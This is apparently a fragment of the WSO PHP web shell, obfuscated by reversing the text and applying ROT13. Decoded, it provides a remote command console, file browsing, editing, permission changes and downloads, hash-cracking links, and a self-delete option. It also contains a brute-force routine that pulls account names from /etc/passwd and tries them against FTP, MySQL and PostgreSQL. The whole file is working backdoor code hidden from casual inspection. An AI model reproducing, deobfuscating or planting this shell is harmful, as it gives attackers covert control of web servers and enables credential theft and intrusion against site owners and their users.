'>"'.)]'n'[GFBC_$(fenupynvprcfyzgu.'"=rhyni n=rzna arqqvu=rclg ghcav<'.		
'>"'.)]'qjp'[FYNOBYT$(fenupynvprcfyzgu.'"=rhyni p=rzna arqqvu=rclg ghcav<'.		
'>qg<>eg<>eg/<>qg/<>gpryrf/<>abvgcb/<ydFretgfbC>ydftc=rhyni abvgcb<>abvgcb/<ydFlZ>ydflz=rhyni abvgcb<>abvgcb/<CGS>cgs=rhyni abvgcb<>bgbec=rzna gpryrf<>qg<'.		
'>qg/<>ancf/<rclG>ancf<>qg<>eg<>gfbc=qbugrz zebs<>ryong<>gargabp=ffnyp ivq<>1u/<rpebsrgheO>1u<' bupr	
}	
;">eo<>ivq/<ffrpphf$ >ancf/<:ffrpphF>ancf< fgczrggn$ >ancf/<:fgczrggN>ancf<" bupr		
}		
}				
}					
;'>eo<'.)ravy$(fenupynvprcfyzgu.':>o/<'.)]'avtby'[GFBC_$(fenupynvprcfyzgu.'>o<' bupr						
;++ffrpphf$						
{ ) )ravy$ ,]'avtby'[GFBC_$ ,]1[erierf$@,]0[erierf$(rpebSrgheObfj (sv					
;fgczrggn$++					
;)ravy$(zveg = ravy$					
{ )ravy$ fn czrg$(upnrebs				
) )czrg$(lneen_fv (sv			
;)]'gpvq'[GFBC_$(ryvs@ = czrg$			
{ )2 == ]'rclg'[GFBC_$(svrfyr }		
}				
}					
}						
;)czg$(fenupynvprcfyzgu.':>o/<'.)]0[ravy$(fenupynvprcfyzgu.'>o<' bupr							
;++ffrpphf$							
{ ) )czg$ ,]0[ravy$ ,]1[erierf$@,]0[erierf$@(rpebSrgheObfj (sv						
;fgczrggn$++						
;]v$[]0[ravy$ =. czg$							
)v$-- ;0=>v$ ;1-)]0[ravy$(aryegf=v$(ebs						
;"" = czg$						
{ )]'rferire'[GFBC_$@(sv					
}					
;'>eo<'.)]0[ravy$(fenupynvprcfyzgu.':>o/<'.)]0[ravy$(fenupynvprcfyzgu.'>o<' bupr						
;++ffrpphf$						
{ ) )]0[ravy$ ,]0[ravy$ ,]1[erierf$@,]0[erierf$@(rpebSrgheObfj (sv					
;fgczrggn$++					
;)ravy$ ,":"(rqbyckr = ravy$					
{ )ravy$ fn czrg$(upnrebs				
) )czrg$(lneen_fv (sv			
;)'qjffnc/pgr/'(ryvs@ = czrg$			
{ )1 == ]'rclg'[GFBC_$(sv		
;)]'erierf'[GFBC_$ ,":"(rqbyckr = erierf$		
;0 = fgczrggn$		
;0 = ffrpphf$		
}		
}			
;fre$ aehgre				
;)fre$(rfbyp_tc@				
;)egf$(gpraabp_tc@ = fre$				
;"fretgfbc=rznaoq '".ffnc$."'=qebjffnc '".avtby$."'=erfh '".gebc$."'=gebc '".cv$."'=gfbu" = egf$				
{ )ffnc$,avtby$,gebc$,cv$(rpebSrgheObfj abvgpahs			
{ ) 'ydftc' == ]'bgbec'[GFBC_$ (svrfyr }		
}			
;fre$ aehgre				
;)fre$(rfbyp_ydflz@				
;)ffnc$ ,avtby$ ,)6033:gebc$?gebc$(.':'.cv$(gpraabp_ydflz@ = fre$				
{ )ffnc$,avtby$,gebc$,cv$(rpebSrgheObfj abvgpahs			
{ ) 'ydflz' == ]'bgbec'[GFBC_$ (svrfyr }		
}			
;fre$ aehgre				
;)cs$(rfbyp_cgs@				
;)ffnc$ ,avtby$ ,cs$(avtby_cgs@ = fre$				
;rfyns aehgre )cs$!(sv				
;)12:gebc$?gebc$ ,cv$(gpraabp_cgs@ = cs$				
{ )ffnc$,avtby$,gebc$,cv$(rpebSrgheObfj abvgpahs			
{ ) 'cgs' == ]'bgbec'[GFBC_$ (sv		
;'>eo<'.)]'erierf'[GFBC_$(fenupynvprcfyzgu.' >ancf/<:erierF>ancf< '.)]'bgbec'[GFBC_$(fenupynvprcfyzgu.' >ancf/<:rclG>ancf<>gargabp=ffnyp ivq<>1u/<fgyhfrE>1u<' bupr		
{ ) )]'bgbec'[GFBC_$(grffv (sv	
;)(erqnrUbfj	
{ )(rpebsrgheOabvgpn abvgpahs

}
;)(ergbbSbfj	
;'>ivq/<>n/<frL>")'\frl'\,yyha,yyha(t"=xpvypab #=sreu n<>eo<?yyruf rug ribzre bg ganj lyynrE>gargabp=ffnyp ivq<>1u/<rqvpvhF>1u<' bupr	
;)(erqnrUbfj        
)'frl' =! ]'1c'[GFBC_$(sv    
;'!ebeer xavyah' bupr			
rfyr		
;)'qribzre arro fnu yyruF'(rvq			
)))ryvsrzna$ ,'' ,'!*.f\)\+q\(\!'(rpnycre_trec(xavyah@(sv		
)'frl' == ]'1c'[GFBC_$(sv	
}	
;'yzguc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#yzguc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/yzguc.\/"(upgnz_trec(svrfyr}	
;'7cuc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#7cuc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/7cuc.\/"(upgnz_trec(svrfyr}	
;'5cuc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#5cuc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/5cuc.\/"(upgnz_trec(svrfyr}	
;'cuc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#cuc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/cuc.\/"(upgnz_trec(sv	
;)__RYVS__(rznarfno = ryvsrzna$	
{ )(ribzrEsyrFabvgpn abvgpahs

}
;)'!rlo'(rvq	
;)0063 - )(rzvg ,'' ,)]'GFBU_CGGU'[ERIERF_$(5qz(rvxbbpgrf    
{ )(ghbtbYabvgpn abvgpahs

}
;)(ergbbSbfj	
;'>gcvepf/<;)(fhpbs.qzp.sp.q>gcvepf<>ivq/<>zebs/<' bupr	
;'>ryong/<>eg/<>qg/<>";)garir(cx"=ajbqlrxab ";%001:ugqvj;kc0:erqebo"=rylgf qzp=rzna gkrg=rclg ghcav<>qg<>qg/<$>"%1"=ugqvj qg<>eg<>"%001"=ugqvj 0=tavpncfyyrp 0=tavqqncyyrp ";kc0:cbg-erqebo;555#:ebybp-qahbetxpno;5sq# qvybf kc1:erqebo"=rylgf ryong<>nrengkrg/<' bupr	
}	
;))]'1c'[GFBC_$(kRbfj."a\".]'1c'[GFBC_$." $"(fenupynvprcfyzgu bupr		
{ ))]'1c'[GFBC_$(lgczr!(sv	
;'>lyabqnre ";0:avtenz;0:zbggbo-erqebo"=rylgf ghcghb=rzna nrentvo=ffnyp nrengkrg<>/eo<>eoba/<)1&>2( ghbqgf bg eerqgf gprevqre >'.)'':'qrxprup'?]'ghb_bg_eerqgf'.)]'GFBU_CGGU'[ERIERF_$(5qz[RVXBBP_$||)]'2c'[GFBC_$(lgczr!(.' 1=rhyni febeer_jbuf=rzna kboxprup=rclg ghcav< KNWN tavfh qarf >'.)'':'qrxprup'?]'knwn'.)]'GFBU_CGGU'[ERIERF_$(5qz[RVXBBP_$@(.' 1=rhyni knwn=rzna kboxprup=rclg ghcav<>eoba< >">>"=rhyni "};)'\'\:1?qrxprup.febeer_jbuf.sp.q,rhyni.fnvyn.sp.q,yyha,yyha(t{rfyr};)'\'\:1?qrxprup.febeer_jbuf.sp.q,rhyni.fnvyn.sp.q,yyha,yyha(n{)qrxprup.knwn.sp.q(sv;)rhyni.fnvyn.sp.q(qqn"=xpvypab abggho=rclg ghcav<>gpryrf/<' bupr	
	
}	
;'>abvgcb/<'.a$.'>"'.)i$(fenupynvprcfyzgu.'"=rhyni abvgcb<' bupr		
}		
;rhavgabp			
;'>chbetgcb/<>"-'.)a$(fenupynvprcfyzgu.'-"=yrony chbetgcb<' bupr			
{ )'' == i$(sv		
{ )i$ >= a$ fn ]'frfnvyn'[FYNOBYT$(upnrebs	
;'>fnvyn=rzna gpryrf<>";rfyns aehgre };)'\'\:1?qrxprup.febeer_jbuf.fvug,rhyni.qzp.fvug,yyha,yyha(t{rfyr};)'\'\:1?qrxprup.febeer_jbuf.fvug,rhyni.qzp.fvug,yyha,yyha(n{)qrxprup.knwn.fvug(sv;)rhyni.qzp.fvug(qqn};rfyns aehgre;'\'\=rhyni.qzp.sp.q;'\'\=rhyni.ghcghb.sp.q{)'\enryp'\==rhyni.qzp.sp.q(sv"=gvzohfab sp=rzna zebs<>gargabp=ffnyp ivq<>1u/<rybfabP>1u<' bupr	
;">gcvepf/<
}
;1-ugtary.fqzp = ehp	
;)''(ufhc.fqzp	
;)qzp(ufhc.fqzp	
;)(cbc.fqzp	
{ )qzp(qqn abvgpahs
}
}	
;--ehp			
rfyr		
;]ehp[fqzp = rhyni.qzp.sp.garzhpbq			
)ugtary.fqzp < ehp(sv		
;++ehp		
{ )04 == a(sv rfyr }	
;++ehp			
rfyr		
;]ehp[fqzp = rhyni.qzp.sp.garzhpbq			
)0=>ehp(sv		
;--ehp		
{ )83 == a(sv	
;rqbPlrx.r : upvuj.r ? )gariR.jbqavj( = a eni	
{ )r(cx abvgpahs
;0 = ehp eni
;)''(lneeN jra = fqzp eni
;)AJBQLRX.gariR(fgariRrehgcnp.jbqavj )gariR.jbqavj(sv
>gcvepf<" bupr    
;)(erqnrUbfj	
;)0 ,'knwn'.)]'GFBU_CGGU'[ERIERF_$(5qz(rvxbbpgrfBFJ		
))]'1c'[GFBC_$(lgczr!&&)]'knwn'[GFBC_$(lgczr(sv    
}	
;gvkr		
;czrg$ ,"a\" ,)czrg$(aryegf bupr		
;)(anryp_grt_ob = czrg$		
;";gutvrUyybepf.ghcghb.sp.q = cbGyybepf.ghcghb.sp.q" bupr		
;";'".czrg$."'=+rhyni.ghcghb.sp.q" bupr		
}		
}			
;";'".]'qjp'[FYNOBYT$."'=_p" bupr				
;)(qjpgrt@ = ]'qjp'[FYNOBYT$				
{ ))]1[upgnz$(evqup@(sv			
{	))upgnz$,]'1c'[GFBC_$,"!$)+];^[(+f\qp*.!"(upgnz_trec(sv		
;))"0\'\\g\e\a\",)]'1c'[GFBC_$(kRbfj."a\".]'1c'[GFBC_$." $a\"(frufnyfpqqn ,'8-SGH' ,]'grfenup'[GFBC_$(iabpv@ = czrg$		
;"a\;''=rhyni.qzp.sp.q" bupr		
;)(gengf_ob		
;)rheg ,'knwn'.)]'GFBU_CGGU'[ERIERF_$(5qz(rvxbbpgrfBFJ		
{ ))]'knwn'[GFBC_$(grffv(sv	

;)0 ,'ghb_bg_eerqgf'.)]'GFBU_CGGU'[ERIERF_$(5qz(rvxbbpgrfBFJ        
))]'1c'[GFBC_$(lgczr!(svrfyr }    
;'1&>2 ' =. ]'1c'[GFBC_$        
;)rheg ,'ghb_bg_eerqgf'.)]'GFBU_CGGU'[ERIERF_$(5qz(rvxbbpgrfBFJ        
{ ))]'2c'[GFBC_$(lgczr! && )]'1c'[GFBC_$(lgczr!(sv    
{ )(rybfabPabvgpn abvgpahs

}
;)(ergbbSbfj	
;'>ivq/<' bupr	
}	
;xnreo			
;'>zebs/<>">>"=rhyni gvzohf=rclg ghcav<>"'.))]'1c'[GFBC_$(rzvgzryvs@ ,"f:v:U q-z-L"(rgnq.'"=rhyni uphbg=rzna gkrg=rclg ghcav<>";rfyns aehgre;)rhyni.uphbg.fvug,yyha,'\' . )]'1c'[GFBC_$(rqbparyeh . ''\,yyha,yyha(t"=gvzohfab zebs<>gcvepf/<;""=_3c>gcvepf<' bupr			
;)(rupnpgngfenryp			
}			
;'!gnzebs rzvg qnO' bupr rfyr }				
;'!qruphbG' bupr						
rfyr					
;'!yvnS' bupr						
))rzvg$,rzvg$,]'1c'[GFBC_$(uphbg!(sv					
{ )rzvg$(sv				
;)]'3c'[GFBC_$(rzvgbgegf = rzvg$				
{ ) )]'3c'[GFBC_$(lgczr! (sv			
:'uphbg' rfnp		
;xnreo			
;'>zebs/<>">>"=rhyni gvzohf=rclg ghcav<>"'.)]'1c'[GFBC_$(fenupynvprcfyzgu.'"=rhyni rzna=rzna gkrg=rclg ghcav<>";rfyns aehgre;)rhyni.rzna.fvug,yyha,'\' . )]'1c'[GFBC_$(rqbparyeh . ''\,yyha,yyha(t"=gvzohfab zebs<' bupr			
}			
;)'>gcvepf/<)"",yyha,"'.)]'3c'[GFBC_$(rqbparyeh.'",yyha,yyha(t>gcvepf<'(rvq					
rfyr				
;'>eo<!rznare g'\anP' bupr					
))]'3c'[GFBC_$ ,]'1c'[GFBC_$(rznare@!(sv				
{ ) )]'3c'[GFBC_$(lgczr! (sv			
:'rznare' rfnp		
;xnreo			
;'>ryong/<>eg/<>qg/<>rec/<'.)]2[u$(fenupynvprcfyzgu.'>rec<>333333#=ebybpto qg<>qg/<>rec/<'.]1[u$.'>rec<>828282#=ebybpto qg<>qg/<>ancf/<>rec/<'.]0[u$.'>rec<>";ynzeba :gutvrj-gabs"=rylgf ancf<>333333#=ebybpto qg<>eg<>222222#=ebybpto 5=tavqqncyyrp 1=tavpncfyyrp ryong<' bupr			
}	 		
}				
;"a\" =. ]2[u$					
;'>eo<' =. ]1[u$					
};'>eo<'.)1+v$,'K80%'(sgavecf =. ]0[u${ )ary$ < 1+v$( sv					
;0 = a$					
{ )23 == a$( sv				
;++a$				
}				
;xnreo ;]v$[p$ =. ]2[u$ :gyhnsrq					
;xnreo ;' ' =. ]2[u$ :31 rfnp					
;xnreo ;' ' =. ]2[u$ :01 rfnp					
;xnreo ;' ' =. ]2[u$  :9 rfnp					
;xnreo ;' ' =. ]2[u$  :0 rfnp					
{ ) )]v$[p$(qeb ( upgvjf				
;' '.))]v$[p$(qeb,'K20%'(sgavecf =. ]1[u$				
{ )v$++ ;ary$<v$ ;0=v$( ebs			
;)p$(aryegf = ary$			
;)'','','>eo<00000000'(lneen = u$			
;0 = a$			
;)]'1c'[GFBC_$(fgargabp_grt_ryvs@ = p$			
:'czhqkru' rfnp		
;xnreo			
;'>zebs/<>">>"=rhyni gvzohf=rclg ghcav<>nrengkrg/<' bupr			
}			
;)cs$(rfbyps@				
;))4201 ,cs$(qnres@(fenupynvprcfyzgu bupr					
) )cs$(sbrs@! (ryvuj				
{ )cs$(sv			
;)'e' ,]'1c'[GFBC_$(arcbs@ = cs$			
;'>nrentvo=ffnyp gkrg=rzna nrengkrg<>";rfyns aehgre;)rhyni.gkrg.fvug+'\1'\,yyha,'\' . )]'1c'[GFBC_$(rqbparyeh . ''\,yyha,yyha(t"=gvzohfab zebs<' bupr			
}			
}				
;)rzvg$,rzvg$,]'1c'[GFBC_$(uphbg@					
;'>gcvepf/<;""=_3c>gcvepf<>eo<!qrinF' bupr					
;)cs$(rfbyps@					
;)]'3c'[GFBC_$,cs$(rgvejs@					
{ )cs$(sv				
;)"j",]'1c'[GFBC_$(arcbs@ = cs$				
;)1,]'3c'[GFBC_$(egfohf = ]'3c'[GFBC_$				
;)]'1c'[GFBC_$(rzvgzryvs@ = rzvg$				
{ ) )]'3c'[GFBC_$(lgczr! (sv			
}			
;xnreo				
;'ryonrgvej g'\afv ryvS' bupr				
{ ))]'1c'[GFBC_$(ryongvej_fv! (sv			
:'gvqr' rfnp		
;xnreo			
;'>zebs/<>">>"=rhyni gvzohf=rclg ghcav<>"'.)4-,))]'1c'[GFBC_$(fzercryvs ,'b%'(sgavecf(egfohf.'"=rhyni qbzup=rzna gkrg=rclg ghcav<>";rfyns aehgre;)rhyni.qbzup.fvug,yyha,'\' . )]'1c'[GFBC_$(rqbparyeh . ''\,yyha,yyha(t"=gvzohfab zebs<>gcvepf/<;""=_3c>gcvepf<' bupr			
;)(rupnpgngfenryp			
}			
;'>gcvepf/<;""=rhyni.3c.sz.garzhpbq>gcvepf<>eo<!fabvffvzerc grf g'\anP' bupr					
))fzerc$ ,]'1c'[GFBC_$(qbzup@!(sv				
;))1-v$-)]'3c'[GFBC_$(aryegf( ,8(jbc*]v$[]'3c'[GFBC_$)gav( =+ fzerc$					
)v$--;0=>v$;1-)]'3c'[GFBC_$(aryegf=v$(ebs				
;0 = fzerc$				
{ ) )]'3c'[GFBC_$(lgczr! (sv			
:'qbzup' rfnp		
;xnreo			
}			
;'>ivq/<'.)rqbp$,)'>gabs/<',' gabs<'(lneen ,)'>ancf/<',' ancf<'(lneen(rpnycre_egf bupr				
;)rheg,]'1c'[GFBC_$(ryvs_gutvyutvu@ = rqbp$				
;'>";xpnyo:ebybp;1r1r1r# :ebybp-qahbetxpno"=rylgf 1yz=ffnyp ivq<' bupr				
{ ) )]'1c'[GFBC_$(ryonqnre_fv@ (sv			
:'gutvyutvu' rfnp		
;xnreo			
;'>rec/<' bupr			
}			
;)cs$(rfbyps@				
;))4201 ,cs$(qnres@(fenupynvprcfyzgu bupr					
) )cs$(sbrs@! (ryvuj				
{ )cs$(sv			
;)'e' ,]'1c'[GFBC_$(arcbs@ = cs$			
;'>1yz=ffnyp rec<' bupr			
:'jrvi' rfnp		
{ )]'2c'[GFBC_$(upgvjf	
;'>eo<>eo<' bupr	
;' >n/<'.)i$:'>o/<] '.i$.' [>o<'?)]'2c'[GFBC_$@==)i$(erjbybgegf((.'>")'\'.)i$(erjbybgegf.''\,'\' . )]'1c'[GFBC_$(rqbparyeh . ''\,yyha,yyha(t"=xpvypab #=sreu n<' bupr		
)i$ fn z$(upnrebs	
;)'uphbG' ,'rznarE' ,'qbzuP'(lneen = z$		
rfyr	
;)'uphbG' ,'rznarE' ,'qbzuP' ,'gvqR' ,'czhqkrU' ,'qnbyajbQ' ,'gutvyutvU' ,'jrvI'(lneen = z$		
) )]'1c'[GFBC_$(ryvs_fv (sv	
;'jrvi' = ]'2c'[GFBC_$		
) )]'2c'[GFBC_$(lgczr (sv	
;'>eo<>eo<'.))]'1c'[GFBC_$(rzvgzryvs,'f:v:U q-z-L'(rgnq.' >ancf/<:rzvg lsvqbZ>ancf< '.))]'1c'[GFBC_$(rzvgnryvs,'f:v:U q-z-L'(rgnq.' >ancf/<:rzvg ffrppN>ancf< '.))]'1c'[GFBC_$(rzvgpryvs,'f:v:U q-z-L'(rgnq.' >ancf/<:rzvg rtanuP>ancf<' bupr	
;'>eo<'.]'rzna'[qvt$.'/'.]'rzna'[qvh$.' >ancf/<:chbeT/erajB>ancf< '.)]'1c'[GFBC_$(ebybPfzerCbfj.' >ancf/<:abvffvzerC>ancf< '.)'-':))]'1c'[GFBC_$(rmvfryvs(rmvFjrvIbfj?)]'1c'[GFBC_$(ryvs_fv(.' >ancf/<:rmvF>ancf< '.))]'1c'[GFBC_$(rznarfno@(fenupynvprcfyzgu.' >ancf/<:rznA>ancf<' bupr	
;))]'1c'[GFBC_$(chbetryvs@(qvtetgrt_kvfbc@ = qvt$ rfyr }	
;)]'1c'[GFBC_$(chbetryvs@ = ]'rzna'[qvt$		
;)]'1c'[GFBC_$(erajbryvs@ = ]'rzna'[qvh$		
{ )qvh$!(sv	
;))]'1c'[GFBC_$(erajbryvs@(qvhjcgrt_kvfbc@ = qvh$	
}	
;aehgre		
;)(ergbbSbfj		
;'fgfvkr gba ryvS' bupr		
{ ) )]'1c'[GFBC_$@(fgfvkr_ryvs! (sv	
;'>gargabp=ffnyp ivq<>1u/<fybbg ryvS>1u<' bupr	
;)(erqnrUbfj	
}	
}		
}			
;)cs$(rfbyps				
;"gvqr" = ]'2c'[GFBC_$				
{ )cs$(sv			
;)'j' ,]'1c'[GFBC_$(arcbs@ = cs$			
{ ))]'1c'[GFBC_$(fgfvkr_ryvs!(sv		
{ ) 'ryvsxz' == ]'2c'[GFBC_$@ (sv	
}	
;gvkr}		
}			
;)cs$(rfbyps				
;)4201 ,cs$(qnres@ bupr					
))cs$(sbrs@!(ryvuj				
{ )cs$(sv			
;)"e" ,]'1c'[GFBC_$(arcbs@ = cs$			
;)"znregf-grgpb/abvgnpvyccn :rclG-gargabP"(erqnru                
rfyr }			
;)rclg$ . " :rclG-gargabP"(erqnru				
;)]'1c'[GFBC_$(rclg_gargabp_rzvz@ = rclg$				
{ ))"rclg_gargabp_rzvz"(fgfvkr_abvgpahs( sv			
;))]'1c'[GFBC_$(rznarfno."=rznaryvs ;garzupnggn :abvgvfbcfvQ-gargabP"(erqnru			
;)6904 ,"eryqanumt_ob"(gengf_ob			
{ ))]'1c'[GFBC_$(ryonqnre_fv@ && )]'1c'[GFBC_$(ryvs_fv@(sv		
{ )'qnbyajbq'==]'2c'[GFBC_$@(sv	
;)]'1c'[GFBC_$(rqbprqyeh = ]'1c'[GFBC_$		
) )]'1c'[GFBC_$(grffv (sv	
{ )(fybbGfryvSabvgpn abvgpahs

}
;)(ergbbSbfj	
;">ivq/<>zebs/<		
>eo<>"\)(gvzohf.su.garzhpbq;'cuc.krqav/rz.ebsxpnep//:cggu'=abvgpn.su.garzhpbq"\=xpvypab 'rz.ebsxpnep'=rhyni 'abggho'=rclg ghcav<            
>eo<>"\)(gvzohf.su.garzhpbq;'5qz=f&'+rhyni.ufnu.su.garzhpbq+'=d?/zbp.rmvbaqre.5qz//:cggu'=abvgpn.su.garzhpbq"\=xpvypab 'zbp.rmvbaqre.5qz'=rhyni 'abggho'=rclg ghcav<			
>eo<>"\)(gvzohf.su.garzhpbq;'cuc.krqav/he.tavxpnepufnu//:fcggu'=abvgpn.su.garzhpbq"\=xpvypab 'he.tavxpnepufnu'=rhyni 'abggho'=rclg ghcav<			
>/'qavs'=rhyni 'gpn'=rzna 'arqqvu'=rclg ghcav<            
>eo<>';kc002:ugqvj'=rylgf 'ufnu'=rzna 'gkrg'=rclg ghcav<			
>'su'=rzna 'xanyo_'=grteng 'gfbc'=qbugrz zebs<		
>gargabp=ffnyp ivq<>1u/<:ufnu ebs upenrF>1u<>eo<>ivq/<" bupr	
;)]'p'[GFBC_$(obyTrivfehprEbfj		
)]'3c'[GFBC_$@(sv	
}	
}		
}			
}				
;">eo<>n/<".)zrgv$(fenupynvprcfyzgu.">')"\"\,"\jrvi"\ ,"\".)zrgv$(rqbparyeh.""\,yyha,"\fybbGfryvS"\(t'=xpvypab '#'=sreu n<" bupr						
)rfyns==!)]'2c'[GFBC_$ ,)zrgv$(fgargabp_grt_ryvs(fbcegf@ || )]'2c'[GFBC_$(lgczr(sv					
{ rfyr }				
;)zrgv$(obyTrivfehprEbfj						
)zrgv$=!ugnc$(sv					
{))zrgv$(evq_fv@(sv				
{ )zrgv$ fn fugnc$(upnrebs			
{ ))fugnc$(gahbp@&&)fugnc$(lneen_fv(sv		
;)))EVQLYAB_OBYT ,'*'.ugnc$(obyt@ ,)]'3c'[GFBC_$.ugnc$(obyt@(rterz_lneen@(rhdvah_lneen@ = fugnc$		
;'/'=.ugnc$			
)'/' =! )1- ,ugnc$(egfohf(sv		
{ )ugnc$(obyTrivfehprEbfj abvgpahs	

;">zebs/<>ryong/<			
>eg/<>qg/<>'>>'=rhyni 'gvzohf'=rclg ghcav<>qg<>qg/<>qg<>eg<			
>eg/<>qg/<>'%001:ugqvj'=rylgf '*'=rhyni 'rznaryvs'=rzna 'gkrg'=rclg ghcav<>qg<>qg/<:rznA>qg<>eg<			
>eg/<>qg/<>'%001:ugqvj'=rylgf '". )]'qjp'[FYNOBYT$(fenupynvprcfyzgu ."'=rhyni 'qjp'=rzna 'gkrg'=rclg ghcav<>qg<>qg/<:ugnC>qg<>eg<			
>eg/<>qg/<>'%001:ugqvj'=rylgf 'gkrg'=rzna 'gkrg'=rclg ghcav<>qg<>qg/<:gkrG>'%1'=ugqvj qg<>eg<			
>'%05'=ugqvj '0'=tavpncfyyrp '1'=tavqqncyyrp ryong<>"\;rfyns aehgre;)rhyni.rznaryvs.fvug,rhyni.gkrg.fvug,yyha,rhyni.qjp.fvug,yyha(t"\=gvzohfab zebs<		
>gargabp=ffnyp ivq<>1u/<:fryvs upenrF>1u<>eo<>ivq/<>rec/<"bupr	
}	
;))]'2c'[GFBC_$(]'1c'[GFBC_$(fenupynvprcfyzgu bupr))fybbGtavegf$ ,]'1c'[GFBC_$(lneen_av(sv		
{ ))]'1c'[GFBC_$(lgczr!(sv	
;">'ghcghBegf'=qv 'kc5:cbg-avtenz".)'':';raba:lnycfvq'?)]'1c'[GFBC_$(lgczr(."'=rylgf '1yz'=ffnyp rec<>zebs/<>nrengkrg/<".))]'2c'[GFBC_$@(fenupynvprcfyzgu:''?)]'1c'[GFBC_$(lgczr(.">nrentvo=ffnyp 'kc5:cbg-avtenz'=rylgf 'ghcav'=rzna nrengkrg<>eo<KNWN tavfh qarf >".)'':'qrxprup'?]'knwn'.)]'GFBU_CGGU'[ERIERF_$(5qz[RVXBBP_$@(." 1=rhyni knwn=rzna kboxprup=rclg ghcav< >/'>>'=rhyni 'gvzohf'=rclg ghcav<>gpryrf/<" bupr		
;">abvgcb/<".x$.">'".)i$(fenupynvprcfyzgu."'=rhyni abvgcb<" bupr		
)i$ >= x$ fn fybbGtavegf$(upnrebs	
;">'ybbGgpryrf'=rzna gpryrf<>';rfyns aehgre };)rhyni.ghcav.fvug,rhyni.ybbGgpryrf.fvug,yyha,yyha(t{rfyr};)rhyni.ghcav.fvug,rhyni.ybbGgpryrf.fvug,yyha,yyha(n{)qrxprup.knwn.fvug(sv'=gvzohFab 'zebSfybbg'=rzna zebs<" bupr	
;'>gargabp=ffnyp ivq<>1u/<fabvferiabp tavegF>1u<' bupr	
;)(erqnrUbfj	
;)0 ,'knwn'.)]'GFBU_CGGU'[ERIERF_$(5qz(rvxbbpgrfBFJ		
))]'1c'[GFBC_$(lgczr!&&)]'knwn'[GFBC_$(lgczr(sv    
}	
;gvkr		
;czrg$ ,"a\" ,)czrg$(aryegf bupr		
;"a\;'".)"0\'\\g\e\a\",))(anryp_grt_ob(fenupynvprcfyzgu(frufnyfpqqn."'=YZGUeraav.)'ghcghBegf'(qVlOgarzryRgrt.garzhpbq;''=lnycfvq.rylgf.)'ghcghBegf'(qVlOgarzryRgrt.garzhpbq" = czrg$		
;)]'2c'[GFBC_$(]'1c'[GFBC_$ bupr			
))fybbGtavegf$ ,]'1c'[GFBC_$(lneen_av(sv		
;)(gengf_ob		
;)rheg ,'knwn'.)]'GFBU_CGGU'[ERIERF_$(5qz(rvxbbpgrfBFJ		
{ ))]'knwn'[GFBC_$(grffv(sv	
;)	
,'aryegf' >= 'ugtary tavegF'		
,'fenupynvprcfyzgu' >= 'fenupynvprcfyzgU'		
,'ercchbgegf' >= 'rfnp ercch bg tavegF'		
,'erjbybgegf' >= 'rfnp erjby bg tavegF'		
,'prqavo' >= 'PRQ bg AVO'		
,'kruavo' >= 'KRU bg AVO'		
,'avoprq' >= 'AVO bg PRQ'		
,'kruprq' >= 'KRU bg PRQ'		
,'avo2kru' >= 'AVO bg KRU'		
,'prqkru' >= 'PRQ bg KRU'		
,'vvpfn2kru' >= 'VVPFN bg KRU'		
,'kru2vvpfn' >= 'KRU bg VVPFN'		
,'23pep' >= '23PEP'		
,'gclep' >= 'gclep'		
,'1nuf' >= 'ufnu 1nuf'		
,'5qz' >= 'ufnu 5qz'		
,'rqbparyeh_yyhs' >= 'rqbparyeh yyhS'		
,'rqbprqyeh' >= 'rqbprq yeH'		
,'rqbparyeh' >= 'rqbpar yeH'		
,'rqbprq_46rfno' >= 'rqbprq 46rfnO'		
,'rqbpar_46rfno' >= 'rqbpar 46rfnO'		
(lneen = fybbGtavegf$	
}};)e$(ercchbgegf aehgre;))]v$[c$(qeb(kruprq.'%' =.e$)v$++;)c$(aryegf<v$;0=v$(ebs;''=e${)c$(rqbparyeh_yyhs abvgpahs{ ))'rqbparyeh_yyhs'(fgfvkr_abvgpahs!(sv	
}};)e$(ercchbgegf aehgre;))]v$[c$(qeb,'K20%'(sgavecf =.e$)v$++;)c$(aryegf<v$;0=v$(ebs;''=e${)c$(kru2vvpfn abvgpahs{ ))'kru2vvpfn'(fgfvkr_abvgpahs!(sv	
}};e$ aehgre};))]1+v$[c$.]v$[c$(prqkru(eup=.e${)2=+v$;)c$(arYegf<v$;0=v$(ebs;''=e${)c$(vvpfn2kru abvgpahs{ ))'vvpfn2kru'(fgfvkr_abvgpahs!(sv	
}};))c$(prqavo(kruprq aehgre{ )c$(kruavo abvgpahs{ ))'kruavo'(fgfvkr_abvgpahs!(sv    
}};))c$(prqkru(avoprq aehgre{ )c$(avo2kru abvgpahs{ ))'avo2kru'(fgfvkr_abvgpahs!(sv	
{ )(fybbGtavegFabvgpn abvgpahs

}
;)(ergbbSbfj	
;">ivq/<>ryong/<>zebs/<>eg/<>qg/<>'>>'=rhyni 'gvzohf'=rclg ghcav<" bupr    
;";cfoa&>'" . )'mt.eng':'cvm'?'cvm' == ]'gpn'[RVXBBP_$( . "." . )"fvU_qzL"(rgnq . "_bfj'=rhyni 2c=rzna gkrg=rclg ghcav< :rzna ryvs" bupr        
)))'eng' == ]'gpn'[RVXBBP_$( || )'cvm' == ]'gpn'[RVXBBP_$(( && )]'s'[RVXBBP_$(gahbp@ && )]'gpn'[RVXBBP_$(lgczr! && )"pct_frgbhd_pvtnz_grt"(fgfvkr_abvgpahs(sv    
;";cfoa&>gpryrf/<" bupr    
;">abvgcb/<ffreczbP / rgfnC>'rgfnc'=rhyni abvgcb<" bupr        
))]'s'[RVXBBP_$(gahbp@ && )]'gpn'[RVXBBP_$(lgczr! && )"pct_frgbhd_pvtnz_grt"(fgfvkr_abvgpahs(sv    
;">abvgcb/<)mt.eng( ffreczbP>'eng'=rhyni abvgcb<" bupr    
;">abvgcb/<)cvm( ffreczbpaH>'cvmah'=rhyni abvgcb<>abvgcb/<)cvm( ffreczbP>'cvm'=rhyni abvgcb<" bupr        
))'rivupeNcvM'(fgfvkr_ffnyp(sv    
